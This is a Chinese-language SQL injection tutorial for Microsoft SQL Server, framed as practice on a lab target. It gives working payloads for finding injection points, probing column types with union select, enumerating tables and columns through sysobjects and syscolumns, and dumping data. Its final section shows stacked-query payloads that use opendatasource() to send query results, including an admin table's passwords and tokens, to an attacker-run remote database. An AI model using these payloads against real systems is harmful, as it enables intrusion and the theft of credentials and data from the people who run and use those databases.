MSSQL和MYSQL大同小异,做测试的思路和方法都差不多,区别就是使用的函数不同,每个数据库的系统自带表、自带库不太一样。但是原理和方法都差不多
反弹注入要做的话,需要一个公网服务器,这个可以白嫖,各位自行白嫖就行了
白嫖注册完之后,我们会得到一个连接地址、初始化库、账户名和密码
连接方法:
1、用在线工具
2、用Navicat(推荐使用)
进入Navicat之后,点击连接,这里选择SQLsever,连接名你自己想填什么就填什么,主机的话就填刚才白嫖到的连接地址,其他两个就是你自己设的账号密码了
这里先演示一下MSSQL的报错注入
首先就是测试是否存在注入点, and 1=1 and 1=2 这样。
然后就是判断字段数,这里判断出来有三个
然后就是判断回显点,'union select 1,2,3 -- qw,这里出现了错误,MYSQL数据库比较包容,在用union select查询数据的时候,对查询的数据类型要求不高。而在MSSQL中,你就需要输入它对应的数据类型,当你不知道具体的数据类型时,可以用null代替,然后一个一个类型试
我们输入'union select null,null,null -- w,然后将第一个null替换为888或者其他数字,查看页面回显,如果正常,那么就是数字类型,如果不正常,那就换一个类型继续测,这里试出来是数字类型,然后换第二个null,我们输入888,看页面回显,页面不正常,我们换一个类型,换为‘sad’,页面正常,第三个null也是字符串类型
这里可以看到,三个位置都是输出点,不过数字类型的输出点对我们的帮助不大,如果只有数字型的输出点,我们就需要利用ASCII编码,或者利用十六进制来做
知道了输出点的字符类型之后,下一步就是查询库名、表名、字段
我们输入 union select 1,database(),'a',页面报错,我们在Navicat这个软件上面连接上我们白嫖到的MSSQL数据库,在里面查询一下 select database(),页面报错了,说明MSSQL不存在database()这个函数,我们再次查询select *from information_schema.tables,页面出现了表名,所以我们可以用这个来直接查询表名
我们输入 union select 1,table_name,'b' from information_schema.tables,可以看到页面出现了表名
正常的MSSQL报错注入,一般利用 sysobjects 查询系统表 (xtype='U') 我们输入 select * from sysobjects where xtype='U',就可以查询出来所有的表名,指定xtype='U'这个,是为了得到用户表,U一般代表user,一般加这个是为了得到有用的表名和它对应的id
查询字段一般利用 syscolumns 字段 (id= ) 指定sysobjects库中表名对应id,我们输入 select *from syscolumns where id='' ,这里的id就是我们查询表名的时候的id
我们进入靶场练习一下,输入 union select id,name,'b' from sysobjects where xtype='U',注意,我们在利用sysobjects的时候,要把之前的table_name替换为name,这样我们就得到了表名和他对应的id
查询字段的时候,我们输入union select id,name,'b' from syscolumns where id='437576597',这样就可以得到news表里的字段,想要查询其他表里面的字段,我们只需要替换id就好了
拿到里面的数据的话就是跟之前的差不多,不过这里要跟一个all,并且把id和name换掉,我们输入 union all select 1,'a',title from news,这样就能拿到news表里面的title字段的数据了,其他数据同理
反弹注入
依靠opendatasource()函数,把查询出的数据发送到MSSQL服务器上
其实这也是一种obb,数据外带。跟dns差不多,不过这个是利用数据库来完成外带操作
应对场景:
1、盲注
2、脱库(可以加快脱库)
堆叠注入:可以用;结束前面的语句,例 select 1; select 2 两条语句一起执行
opendatasource() 将当前数据库的查询结果发送到另一台数据库中
opendatasource('数据库名称','server=连接地址,端口;uid=用户名;pwd=密码;database=数据库名称')这个就是连接上了数据库,然后就是选定数据表,把查询到的数据插入到哪个表里面,MSSQL的数据库名称为sqloledb,MSSQL默认端口1433
插入语法(insert into) opendatasource('sqloledb','server=连接地址,端口;uid=用户名;pwd=密码;database=库名').库名.权限(dbo).表名 想要的结果(select *from news)
插入的内容要和被插的表要求字段数相同
假如你想要查name和id,那么你就需要自己建一个表,假如表名为a666,那么语句就是这样的
;insert into opendatasource('sqloledb','server=连接地址,1433;uid=用户名;pwd=密码;database=库名').库名.dbo.a666 select name,id from sysobjects where xtype='U',看数据就到刚才我们新建的表里面看就好了
如果想要得到字段的话,我们输入
;insert into opendatasource('sqloledb','server=连接地址,1433;uid=用户名;pwd=密码;database=库名').库名.dbo.a666 select name,id from syscolumns where id=''
想要里面的数据的话,我们输入
;insert into opendatasource('sqloledb','server=连接地址,1433;uid=用户名;pwd=密码;database=库名').库名.dbo.a666 select passwoed,token from admin
由于白嫖失败,所以好多图没有附上,后面嫖到了再补上